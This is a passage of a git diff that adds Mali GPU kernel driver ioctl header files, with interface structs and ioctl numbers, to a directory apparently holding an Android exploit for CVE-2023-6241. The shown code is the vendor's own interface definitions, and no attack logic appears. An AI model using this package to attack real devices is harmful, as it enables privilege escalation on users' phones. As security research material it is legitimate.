+/** + * struct kbase_ioctl_cs_tiler_heap_term - Terminate a chunked tiler heap + * instance + * + * @gpu_heap_va: GPU VA of Heap context that was set up for the heap. + */ +struct kbase_ioctl_cs_tiler_heap_term { + __u64 gpu_heap_va; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_TERM \ + _IOW(KBASE_IOCTL_TYPE, 49, struct kbase_ioctl_cs_tiler_heap_term) + +/** + * union kbase_ioctl_cs_get_glb_iface - Request the global control block + * of CSF interface capabilities + * + * @in: Input parameters + * @in.max_group_num: The maximum number of groups to be read. Can be 0, in + * which case groups_ptr is unused. + * @in.max_total_stream_num: The maximum number of CSs to be read. Can be 0, in + * which case streams_ptr is unused. + * @in.groups_ptr: Pointer where to store all the group data (sequentially). + * @in.streams_ptr: Pointer where to store all the CS data (sequentially). + * @out: Output parameters + * @out.glb_version: Global interface version. + * @out.features: Bit mask of features (e.g. whether certain types of job + * can be suspended). + * @out.group_num: Number of CSGs supported. + * @out.prfcnt_size: Size of CSF performance counters, in bytes. Bits 31:16 + * hold the size of firmware performance counter data + * and 15:0 hold the size of hardware performance counter + * data. + * @out.total_stream_num: Total number of CSs, summed across all groups. + * @out.instr_features: Instrumentation features. Bits 7:4 hold the maximum + * size of events. Bits 3:0 hold the offset update rate. + * (csf >= 1.1.0) + * + */ +union kbase_ioctl_cs_get_glb_iface { + struct { + __u32 max_group_num; + __u32 max_total_stream_num; + __u64 groups_ptr; + __u64 streams_ptr; + } in; + struct { + __u32 glb_version; + __u32 features; + __u32 group_num; + __u32 prfcnt_size; + __u32 total_stream_num; + __u32 instr_features; + } out; +}; + +#define KBASE_IOCTL_CS_GET_GLB_IFACE \ + _IOWR(KBASE_IOCTL_TYPE, 51, union kbase_ioctl_cs_get_glb_iface) + +struct kbase_ioctl_cs_cpu_queue_info { + __u64 buffer; + __u64 size; +}; + +#define KBASE_IOCTL_VERSION_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 52, struct kbase_ioctl_version_check) + +#define KBASE_IOCTL_CS_CPU_QUEUE_DUMP \ + _IOW(KBASE_IOCTL_TYPE, 53, struct kbase_ioctl_cs_cpu_queue_info) + +/** + * union kbase_ioctl_mem_alloc_ex - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @in.fixed_address: The GPU virtual address requested for the allocation, + * if the allocation is using the BASE_MEM_FIXED flag. + * @in.extra: Space for extra parameters that may be added in the future. + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc_ex { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + __u64 fixed_address; + __u64 extra[3]; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC_EX _IOWR(KBASE_IOCTL_TYPE, 59, union kbase_ioctl_mem_alloc_ex) + +/** + * union kbase_ioctl_read_user_page - Read a register of USER page + * + * @in: Input parameters. + * @in.offset: Register offset in USER page. + * @in.padding: Padding to round up to a multiple of 8 bytes, must be zero. + * @out: Output parameters. + * @out.val_lo: Value of 32bit register or the 1st half of 64bit register to be read. + * @out.val_hi: Value of the 2nd half of 64bit register to be read. + */ +union kbase_ioctl_read_user_page { + struct { + __u32 offset; + __u32 padding; + } in; + struct { + __u32 val_lo; + __u32 val_hi; + } out; +}; + +#define KBASE_IOCTL_READ_USER_PAGE _IOWR(KBASE_IOCTL_TYPE, 60, union kbase_ioctl_read_user_page) + +#endif /* _UAPI_KBASE_CSF_IOCTL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_ioctl.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_ioctl.h new file mode 100644 index 0000000..9eaa83c --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_ioctl.h @@ -0,0 +1,894 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2017-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_IOCTL_H_ +#define _UAPI_KBASE_IOCTL_H_ + +#ifdef __cpluscplus +extern "C" { +#endif + +#include +#include + +#include "mali_kbase_csf_ioctl.h" + +#define KBASE_IOCTL_TYPE 0x80 + +/** + * struct kbase_ioctl_set_flags - Set kernel context creation flags + * + * @create_flags: Flags - see base_context_create_flags + */ +struct kbase_ioctl_set_flags { + __u32 create_flags; +}; + +#define KBASE_IOCTL_SET_FLAGS \ + _IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags) + +/** + * struct kbase_ioctl_get_gpuprops - Read GPU properties from the kernel + * + * @buffer: Pointer to the buffer to store properties into + * @size: Size of the buffer + * @flags: Flags - must be zero for now + * + * The ioctl will return the number of bytes stored into @buffer or an error + * on failure (e.g. @size is too small). If @size is specified as 0 then no + * data will be written but the return value will be the number of bytes needed + * for all the properties. + * + * @flags may be used in the future to request a different format for the + * buffer. With @flags == 0 the following format is used. + * + * The buffer will be filled with pairs of values, a __u32 key identifying the + * property followed by the value. The size of the value is identified using + * the bottom bits of the key. The value then immediately followed the key and + * is tightly packed (there is no padding). All keys and values are + * little-endian. + * + * 00 = __u8 + * 01 = __u16 + * 10 = __u32 + * 11 = __u64 + */ +struct kbase_ioctl_get_gpuprops { + __u64 buffer; + __u32 size; + __u32 flags; +}; + +#define KBASE_IOCTL_GET_GPUPROPS \ + _IOW(KBASE_IOCTL_TYPE, 3, struct kbase_ioctl_get_gpuprops) + +/** + * union kbase_ioctl_mem_alloc - Allocate memory on the GPU + * @in: Input parameters + * @in.va_pages: The number of pages of virtual address space to reserve + * @in.commit_pages: The number of physical pages to allocate + * @in.extension: The number of extra pages to allocate on each GPU fault which grows the region + * @in.flags: Flags + * @out: Output parameters + * @out.flags: Flags + * @out.gpu_va: The GPU virtual address which is allocated + */ +union kbase_ioctl_mem_alloc { + struct { + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u64 flags; + } in; + struct { + __u64 flags; + __u64 gpu_va; + } out; +}; + +#define KBASE_IOCTL_MEM_ALLOC \ + _IOWR(KBASE_IOCTL_TYPE, 5, union kbase_ioctl_mem_alloc) + +/** + * struct kbase_ioctl_mem_query - Query properties of a GPU memory region + * @in: Input parameters + * @in.gpu_addr: A GPU address contained within the region + * @in.query: The type of query + * @out: Output parameters + * @out.value: The result of the query + * + * Use a %KBASE_MEM_QUERY_xxx flag as input for @query. + */ +union kbase_ioctl_mem_query { + struct { + __u64 gpu_addr; + __u64 query; + } in; + struct { + __u64 value; + } out; +}; + +#define KBASE_IOCTL_MEM_QUERY \ + _IOWR(KBASE_IOCTL_TYPE, 6, union kbase_ioctl_mem_query) + +#define KBASE_MEM_QUERY_COMMIT_SIZE ((__u64)1) +#define KBASE_MEM_QUERY_VA_SIZE ((__u64)2) +#define KBASE_MEM_QUERY_FLAGS ((__u64)3) + +/** + * struct kbase_ioctl_mem_free - Free a memory region + * @gpu_addr: Handle to the region to free + */ +struct kbase_ioctl_mem_free { + __u64 gpu_addr; +}; + +#define KBASE_IOCTL_MEM_FREE \ + _IOW(KBASE_IOCTL_TYPE, 7, struct kbase_ioctl_mem_free) + +/** + * struct kbase_ioctl_hwcnt_reader_setup - Setup HWC dumper/reader + * @buffer_count: requested number of dumping buffers + * @fe_bm: counters selection bitmask (Front end) + * @shader_bm: counters selection bitmask (Shader) + * @tiler_bm: counters selection bitmask (Tiler) + * @mmu_l2_bm: counters selection bitmask (MMU_L2) + * + * A fd is returned from the ioctl if successful, or a negative value on error + */ +struct kbase_ioctl_hwcnt_reader_setup { + __u32 buffer_count; + __u32 fe_bm; + __u32 shader_bm; + __u32 tiler_bm; + __u32 mmu_l2_bm; +}; + +#define KBASE_IOCTL_HWCNT_READER_SETUP \ + _IOW(KBASE_IOCTL_TYPE, 8, struct kbase_ioctl_hwcnt_reader_setup) + +/** + * struct kbase_ioctl_hwcnt_values - Values to set dummy the dummy counters to. + * @data: Counter samples for the dummy model. + * @size: Size of the counter sample data. + * @padding: Padding. + */ +struct kbase_ioctl_hwcnt_values { + __u64 data; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_HWCNT_SET \ + _IOW(KBASE_IOCTL_TYPE, 32, struct kbase_ioctl_hwcnt_values) + +/** + * struct kbase_ioctl_disjoint_query - Query the disjoint counter + * @counter: A counter of disjoint events in the kernel + */ +struct kbase_ioctl_disjoint_query { + __u32 counter; +}; + +#define KBASE_IOCTL_DISJOINT_QUERY \ + _IOR(KBASE_IOCTL_TYPE, 12, struct kbase_ioctl_disjoint_query) + +/** + * struct kbase_ioctl_get_ddk_version - Query the kernel version + * @version_buffer: Buffer to receive the kernel version string + * @size: Size of the buffer + * @padding: Padding + * + * The ioctl will return the number of bytes written into version_buffer + * (which includes a NULL byte) or a negative error code + * + * The ioctl request code has to be _IOW because the data in ioctl struct is + * being copied to the kernel, even though the kernel then writes out the + * version info to the buffer specified in the ioctl. + */ +struct kbase_ioctl_get_ddk_version { + __u64 version_buffer; + __u32 size; + __u32 padding; +}; + +#define KBASE_IOCTL_GET_DDK_VERSION \ + _IOW(KBASE_IOCTL_TYPE, 13, struct kbase_ioctl_get_ddk_version) + +/** + * struct kbase_ioctl_mem_jit_init_10_2 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 10.2--11.4) + * @va_pages: Number of VA pages to reserve for JIT + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_10_2 { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_10_2 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_10_2) + +/** + * struct kbase_ioctl_mem_jit_init_11_5 - Initialize the just-in-time memory + * allocator (between kernel driver + * version 11.5--11.19) + * @va_pages: Number of VA pages to reserve for JIT + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + * + * New code should use KBASE_IOCTL_MEM_JIT_INIT instead, this is kept for + * backwards compatibility. + */ +struct kbase_ioctl_mem_jit_init_11_5 { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT_11_5 \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init_11_5) + +/** + * struct kbase_ioctl_mem_jit_init - Initialize the just-in-time memory + * allocator + * @va_pages: Number of GPU virtual address pages to reserve for just-in-time + * memory allocations + * @max_allocations: Maximum number of concurrent allocations + * @trim_level: Level of JIT allocation trimming to perform on free (0 - 100%) + * @group_id: Group ID to be used for physical allocations + * @padding: Currently unused, must be zero + * @phys_pages: Maximum number of physical pages to allocate just-in-time + * + * Note that depending on the VA size of the application and GPU, the value + * specified in @va_pages may be ignored. + */ +struct kbase_ioctl_mem_jit_init { + __u64 va_pages; + __u8 max_allocations; + __u8 trim_level; + __u8 group_id; + __u8 padding[5]; + __u64 phys_pages; +}; + +#define KBASE_IOCTL_MEM_JIT_INIT \ + _IOW(KBASE_IOCTL_TYPE, 14, struct kbase_ioctl_mem_jit_init) + +/** + * struct kbase_ioctl_mem_sync - Perform cache maintenance on memory + * + * @handle: GPU memory handle (GPU VA) + * @user_addr: The address where it is mapped in user space + * @size: The number of bytes to synchronise + * @type: The direction to synchronise: 0 is sync to memory (clean), + * 1 is sync from memory (invalidate). Use the BASE_SYNCSET_OP_xxx constants. + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_mem_sync { + __u64 handle; + __u64 user_addr; + __u64 size; + __u8 type; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_MEM_SYNC \ + _IOW(KBASE_IOCTL_TYPE, 15, struct kbase_ioctl_mem_sync) + +/** + * union kbase_ioctl_mem_find_cpu_offset - Find the offset of a CPU pointer + * + * @in: Input parameters + * @in.gpu_addr: The GPU address of the memory region + * @in.cpu_addr: The CPU address to locate + * @in.size: A size in bytes to validate is contained within the region + * @out: Output parameters + * @out.offset: The offset from the start of the memory region to @cpu_addr + */ +union kbase_ioctl_mem_find_cpu_offset { + struct { + __u64 gpu_addr; + __u64 cpu_addr; + __u64 size; + } in; + struct { + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_CPU_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 16, union kbase_ioctl_mem_find_cpu_offset) + +/** + * struct kbase_ioctl_get_context_id - Get the kernel context ID + * + * @id: The kernel context ID + */ +struct kbase_ioctl_get_context_id { + __u32 id; +}; + +#define KBASE_IOCTL_GET_CONTEXT_ID \ + _IOR(KBASE_IOCTL_TYPE, 17, struct kbase_ioctl_get_context_id) + +/** + * struct kbase_ioctl_tlstream_acquire - Acquire a tlstream fd + * + * @flags: Flags + * + * The ioctl returns a file descriptor when successful + */ +struct kbase_ioctl_tlstream_acquire { + __u32 flags; +}; + +#define KBASE_IOCTL_TLSTREAM_ACQUIRE \ + _IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire) + +#define KBASE_IOCTL_TLSTREAM_FLUSH \ + _IO(KBASE_IOCTL_TYPE, 19) + +/** + * struct kbase_ioctl_mem_commit - Change the amount of memory backing a region + * + * @gpu_addr: The memory region to modify + * @pages: The number of physical pages that should be present + * + * The ioctl may return on the following error codes or 0 for success: + * -ENOMEM: Out of memory + * -EINVAL: Invalid arguments + */ +struct kbase_ioctl_mem_commit { + __u64 gpu_addr; + __u64 pages; +}; + +#define KBASE_IOCTL_MEM_COMMIT \ + _IOW(KBASE_IOCTL_TYPE, 20, struct kbase_ioctl_mem_commit) + +/** + * union kbase_ioctl_mem_alias - Create an alias of memory regions + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.stride: Bytes between start of each memory region + * @in.nents: The number of regions to pack together into the alias + * @in.aliasing_info: Pointer to an array of struct base_mem_aliasing_info + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_alias { + struct { + __u64 flags; + __u64 stride; + __u64 nents; + __u64 aliasing_info; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_ALIAS \ + _IOWR(KBASE_IOCTL_TYPE, 21, union kbase_ioctl_mem_alias) + +/** + * union kbase_ioctl_mem_import - Import memory for use by the GPU + * @in: Input parameters + * @in.flags: Flags, see BASE_MEM_xxx + * @in.phandle: Handle to the external memory + * @in.type: Type of external memory, see base_mem_import_type + * @in.padding: Amount of extra VA pages to append to the imported buffer + * @out: Output parameters + * @out.flags: Flags, see BASE_MEM_xxx + * @out.gpu_va: Address of the new alias + * @out.va_pages: Size of the new alias + */ +union kbase_ioctl_mem_import { + struct { + __u64 flags; + __u64 phandle; + __u32 type; + __u32 padding; + } in; + struct { + __u64 flags; + __u64 gpu_va; + __u64 va_pages; + } out; +}; + +#define KBASE_IOCTL_MEM_IMPORT \ + _IOWR(KBASE_IOCTL_TYPE, 22, union kbase_ioctl_mem_import) + +/** + * struct kbase_ioctl_mem_flags_change - Change the flags for a memory region + * @gpu_va: The GPU region to modify + * @flags: The new flags to set + * @mask: Mask of the flags to modify + */ +struct kbase_ioctl_mem_flags_change { + __u64 gpu_va; + __u64 flags; + __u64 mask; +}; + +#define KBASE_IOCTL_MEM_FLAGS_CHANGE \ + _IOW(KBASE_IOCTL_TYPE, 23, struct kbase_ioctl_mem_flags_change) + +/** + * struct kbase_ioctl_stream_create - Create a synchronisation stream + * @name: A name to identify this stream. Must be NULL-terminated. + * + * Note that this is also called a "timeline", but is named stream to avoid + * confusion with other uses of the word. + * + * Unused bytes in @name (after the first NULL byte) must be also be NULL bytes. + * + * The ioctl returns a file descriptor. + */ +struct kbase_ioctl_stream_create { + char name[32]; +}; + +#define KBASE_IOCTL_STREAM_CREATE \ + _IOW(KBASE_IOCTL_TYPE, 24, struct kbase_ioctl_stream_create) + +/** + * struct kbase_ioctl_fence_validate - Validate a fd refers to a fence + * @fd: The file descriptor to validate + */ +struct kbase_ioctl_fence_validate { + int fd; +}; + +#define KBASE_IOCTL_FENCE_VALIDATE \ + _IOW(KBASE_IOCTL_TYPE, 25, struct kbase_ioctl_fence_validate) + +/** + * struct kbase_ioctl_mem_profile_add - Provide profiling information to kernel + * @buffer: Pointer to the information + * @len: Length + * @padding: Padding + * + * The data provided is accessible through a debugfs file + */ +struct kbase_ioctl_mem_profile_add { + __u64 buffer; + __u32 len; + __u32 padding; +}; + +#define KBASE_IOCTL_MEM_PROFILE_ADD \ + _IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add) + +/** + * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to map + */ +struct kbase_ioctl_sticky_resource_map { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_MAP \ + _IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map) + +/** + * struct kbase_ioctl_sticky_resource_unmap - Unmap a resource mapped which was + * previously permanently mapped + * @count: Number of resources + * @address: Array of __u64 GPU addresses of the external resources to unmap + */ +struct kbase_ioctl_sticky_resource_unmap { + __u64 count; + __u64 address; +}; + +#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \ + _IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap) + +/** + * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of + * the GPU memory region for + * the given gpu address and + * the offset of that address + * into the region + * @in: Input parameters + * @in.gpu_addr: GPU virtual address + * @in.size: Size in bytes within the region + * @out: Output parameters + * @out.start: Address of the beginning of the memory region enclosing @gpu_addr + * for the length of @offset bytes + * @out.offset: The offset from the start of the memory region to @gpu_addr + */ +union kbase_ioctl_mem_find_gpu_start_and_offset { + struct { + __u64 gpu_addr; + __u64 size; + } in; + struct { + __u64 start; + __u64 offset; + } out; +}; + +#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \ + _IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset) + +#define KBASE_IOCTL_CINSTR_GWT_START \ + _IO(KBASE_IOCTL_TYPE, 33) + +#define KBASE_IOCTL_CINSTR_GWT_STOP \ + _IO(KBASE_IOCTL_TYPE, 34) + +/** + * union kbase_ioctl_cinstr_gwt_dump - Used to collect all GPU write fault + * addresses. + * @in: Input parameters + * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas. + * @in.size_buffer: Address of buffer to hold size of modified areas (in pages) + * @in.len: Number of addresses the buffers can hold. + * @in.padding: padding + * @out: Output parameters + * @out.no_of_addr_collected: Number of addresses collected into addr_buffer. + * @out.more_data_available: Status indicating if more addresses are available. + * @out.padding: padding + * + * This structure is used when performing a call to dump GPU write fault + * addresses. + */ +union kbase_ioctl_cinstr_gwt_dump { + struct { + __u64 addr_buffer; + __u64 size_buffer; + __u32 len; + __u32 padding; + + } in; + struct { + __u32 no_of_addr_collected; + __u8 more_data_available; + __u8 padding[27]; + } out; +}; + +#define KBASE_IOCTL_CINSTR_GWT_DUMP \ + _IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump) + +/** + * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone + * + * @va_pages: Number of VA pages to reserve for EXEC_VA + */ +struct kbase_ioctl_mem_exec_init { + __u64 va_pages; +}; + +#define KBASE_IOCTL_MEM_EXEC_INIT \ + _IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init) + +/** + * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of + * cpu/gpu time (counter values) + * @in: Input parameters + * @in.request_flags: Bit-flags indicating the requested types. + * @in.paddings: Unused, size alignment matching the out. + * @out: Output parameters + * @out.sec: Integer field of the monotonic time, unit in seconds. + * @out.nsec: Fractional sec of the monotonic time, in nano-seconds. + * @out.padding: Unused, for __u64 alignment + * @out.timestamp: System wide timestamp (counter) value. + * @out.cycle_counter: GPU cycle counter value. + */ +union kbase_ioctl_get_cpu_gpu_timeinfo { + struct { + __u32 request_flags; + __u32 paddings[7]; + } in; + struct { + __u64 sec; + __u32 nsec; + __u32 padding; + __u64 timestamp; + __u64 cycle_counter; + } out; +}; + +#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \ + _IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo) + +/** + * struct kbase_ioctl_context_priority_check - Check the max possible priority + * @priority: Input priority & output priority + */ + +struct kbase_ioctl_context_priority_check { + __u8 priority; +}; + +#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \ + _IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check) + +/** + * struct kbase_ioctl_set_limited_core_count - Set the limited core count. + * + * @max_core_count: Maximum core count + */ +struct kbase_ioctl_set_limited_core_count { + __u8 max_core_count; +}; + +#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \ + _IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count) + +/** + * struct kbase_ioctl_kinstr_prfcnt_enum_info - Enum Performance counter + * information + * @info_item_size: Performance counter item size in bytes. + * @info_item_count: Performance counter item count in the info_list_ptr. + * @info_list_ptr: Performance counter item list pointer which points to a + * list with info_item_count of items. + * + * On success: returns info_item_size and info_item_count if info_list_ptr is + * NULL, returns performance counter information if info_list_ptr is not NULL. + * On error: returns a negative error code. + */ +struct kbase_ioctl_kinstr_prfcnt_enum_info { + __u32 info_item_size; + __u32 info_item_count; + __u64 info_list_ptr; +}; + +#define KBASE_IOCTL_KINSTR_PRFCNT_ENUM_INFO \ + _IOWR(KBASE_IOCTL_TYPE, 56, struct kbase_ioctl_kinstr_prfcnt_enum_info) + +/** + * struct kbase_ioctl_kinstr_prfcnt_setup - Setup HWC dumper/reader + * @in: input parameters. + * @in.request_item_count: Number of requests in the requests array. + * @in.request_item_size: Size in bytes of each request in the requests array. + * @in.requests_ptr: Pointer to the requests array. + * @out: output parameters. + * @out.prfcnt_metadata_item_size: Size of each item in the metadata array for + * each sample. + * @out.prfcnt_mmap_size_bytes: Size in bytes that user-space should mmap + * for reading performance counter samples. + * + * A fd is returned from the ioctl if successful, or a negative value on error. + */ +union kbase_ioctl_kinstr_prfcnt_setup { + struct { + __u32 request_item_count; + __u32 request_item_size; + __u64 requests_ptr; + } in; + struct { + __u32 prfcnt_metadata_item_size; + __u32 prfcnt_mmap_size_bytes; + } out; +}; + +#define KBASE_IOCTL_KINSTR_PRFCNT_SETUP \ + _IOWR(KBASE_IOCTL_TYPE, 57, union kbase_ioctl_kinstr_prfcnt_setup) + +/*************** + * Pixel ioctls * + ***************/ + +/** + * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request + * + * @dur_usec: Duration for GPU to stay awake. + */ +struct kbase_ioctl_apc_request { + __u32 dur_usec; +}; + +#define KBASE_IOCTL_APC_REQUEST \ + _IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request) + +/** + * struct kbase_ioctl_buffer_liveness_update - Update the live ranges of buffers from previous frame + * + * @live_ranges_address: Array of live ranges + * @live_ranges_count: Number of elements in the live ranges buffer + * @buffer_va_address: Array of buffer base virtual addresses + * @buffer_sizes_address: Array of buffer sizes + * @buffer_count: Number of buffers + * @padding: Unused + */ +struct kbase_ioctl_buffer_liveness_update { + __u64 live_ranges_address; + __u64 live_ranges_count; + __u64 buffer_va_address; + __u64 buffer_sizes_address; + __u64 buffer_count; +}; + +#define KBASE_IOCTL_BUFFER_LIVENESS_UPDATE \ + _IOW(KBASE_IOCTL_TYPE, 67, struct kbase_ioctl_buffer_liveness_update) + +/*************** + * test ioctls * + ***************/ +#if MALI_UNIT_TEST +/* These ioctls are purely for test purposes and are not used in the production + * driver, they therefore may change without notice + */ + +#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1) + + +/** + * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes + * @bytes_collected: number of bytes read by user + * @bytes_generated: number of bytes generated by tracepoints + */ +struct kbase_ioctl_tlstream_stats { + __u32 bytes_collected; + __u32 bytes_generated; +}; + +#define KBASE_IOCTL_TLSTREAM_STATS \ + _IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats) + +#endif /* MALI_UNIT_TEST */ + +/* Customer extension range */ +#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2) + +/* If the integration needs extra ioctl add them there + * like this: + * + * struct my_ioctl_args { + * .... + * } + * + * #define KBASE_IOCTL_MY_IOCTL \ + * _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args) + */ + + +/********************************** + * Definitions for GPU properties * + **********************************/ +#define KBASE_GPUPROP_VALUE_SIZE_U8 (0x0) +#define KBASE_GPUPROP_VALUE_SIZE_U16 (0x1) +#define KBASE_GPUPROP_VALUE_SIZE_U32 (0x2) +#define KBASE_GPUPROP_VALUE_SIZE_U64 (0x3) + +#define KBASE_GPUPROP_PRODUCT_ID 1 +#define KBASE_GPUPROP_VERSION_STATUS 2 +#define KBASE_GPUPROP_MINOR_REVISION 3 +#define KBASE_GPUPROP_MAJOR_REVISION 4 +/* 5 previously used for GPU speed */ +#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX 6 +/* 7 previously used for minimum GPU speed */ +#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE 8 +#define KBASE_GPUPROP_TEXTURE_FEATURES_0 9 +#define KBASE_GPUPROP_TEXTURE_FEATURES_1 10 +#define KBASE_GPUPROP_TEXTURE_FEATURES_2 11 +#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE 12 + +#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE 13 +#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE 14 +#define KBASE_GPUPROP_L2_NUM_L2_SLICES 15 + +#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES 16 +#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS 17 + +#define KBASE_GPUPROP_MAX_THREADS 18 +#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE 19 +#define KBASE_GPUPROP_MAX_BARRIER_SIZE 20 +#define KBASE_GPUPROP_MAX_REGISTERS 21 +#define KBASE_GPUPROP_MAX_TASK_QUEUE 22 +#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT 23 +#define KBASE_GPUPROP_IMPL_TECH 24 + +#define KBASE_GPUPROP_RAW_SHADER_PRESENT 25 +#define KBASE_GPUPROP_RAW_TILER_PRESENT 26 +#define KBASE_GPUPROP_RAW_L2_PRESENT 27 +#define KBASE_GPUPROP_RAW_STACK_PRESENT 28 +#define KBASE_GPUPROP_RAW_L2_FEATURES 29 +#define KBASE_GPUPROP_RAW_CORE_FEATURES 30 +#define KBASE_GPUPROP_RAW_MEM_FEATURES 31 +#define KBASE_GPUPROP_RAW_MMU_FEATURES 32 +#define KBASE_GPUPROP_RAW_AS_PRESENT 33 +#define KBASE_GPUPROP_RAW_JS_PRESENT 34 +#define KBASE_GPUPROP_RAW_JS_FEATURES_0 35 +#define KBASE_GPUPROP_RAW_JS_FEATURES_1 36 +#define KBASE_GPUPROP_RAW_JS_FEATURES_2 37 +#define KBASE_GPUPROP_RAW_JS_FEATURES_3 38 +#define KBASE_GPUPROP_RAW_JS_FEATURES_4 39 +#define KBASE_GPUPROP_RAW_JS_FEATURES_5 40 +#define KBASE_GPUPROP_RAW_JS_FEATURES_6 41 +#define KBASE_GPUPROP_RAW_JS_FEATURES_7 42 +#define KBASE_GPUPROP_RAW_JS_FEATURES_8 43 +#define KBASE_GPUPROP_RAW_JS_FEATURES_9 44 +#define KBASE_GPUPROP_RAW_JS_FEATURES_10 45 +#define KBASE_GPUPROP_RAW_JS_FEATURES_11 46 +#define KBASE_GPUPROP_RAW_JS_FEATURES_12 47 +#define KBASE_GPUPROP_RAW_JS_FEATURES_13 48 +#define KBASE_GPUPROP_RAW_JS_FEATURES_14 49 +#define KBASE_GPUPROP_RAW_JS_FEATURES_15 50 +#define KBASE_GPUPROP_RAW_TILER_FEATURES 51 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0 52 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1 53 +#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2 54 +#define KBASE_GPUPROP_RAW_GPU_ID 55 +#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS 56 +#define 